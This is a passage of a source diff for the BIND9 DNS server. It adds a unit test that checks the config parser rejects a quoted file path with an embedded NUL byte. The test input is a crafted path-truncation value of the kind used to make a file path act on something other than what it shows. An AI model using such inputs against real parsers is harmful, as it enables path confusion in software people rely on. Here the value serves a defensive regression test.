+ISC_TEST_ENTRY(casestripprefix) +ISC_TEST_LIST_END + +ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/isccfg/parser_test.c bind9-9.20.30/tests/isccfg/parser_test.c --- bind9-9.20.29/tests/isccfg/parser_test.c 2026-09-11 19:41:01.747336888 +0000 +++ bind9-9.20.30/tests/isccfg/parser_test.c 2026-10-12 13:12:08.661905342 +0000 @@ -182,6 +182,37 @@ cfg_parser_destroy(&p2); } +/* + * A raw NUL byte embedded in a quoted string must be rejected rather + * than silently truncated (a truncated "directory" or "include" path + * would act on something other than what the config file shows). The + * NUL is embedded with an explicit buffer length, since strlen() would + * hide it. + */ +ISC_RUN_TEST_IMPL(parse_nulbyte) { + isc_result_t result; + isc_buffer_t buf; + cfg_parser_t *p = NULL; + cfg_obj_t *c = NULL; + unsigned char text[] = + "zone \"test.baz\" { type primary; file \"a\0b\"; };\n"; + + UNUSED(state); + + isc_buffer_init(&buf, &text[0], sizeof(text) - 1); + isc_buffer_add(&buf, sizeof(text) - 1); + + result = cfg_parser_create(mctx, lctx, &p); + assert_int_equal(result, ISC_R_SUCCESS); + + result = cfg_parse_buffer(p, &buf, "text1", 0, &cfg_type_namedconf, 0, + &c); + assert_int_not_equal(result, ISC_R_SUCCESS); + assert_null(c); + + cfg_parser_destroy(&p); +} + /* test cfg_map_firstclause() */ ISC_RUN_TEST_IMPL(cfg_map_firstclause) { const char *name = NULL; @@ -220,6 +251,7 @@ ISC_TEST_ENTRY(addzoneconf) ISC_TEST_ENTRY(parse_buffer) +ISC_TEST_ENTRY(parse_nulbyte) ISC_TEST_ENTRY(cfg_map_firstclause) ISC_TEST_ENTRY(cfg_map_nextclause)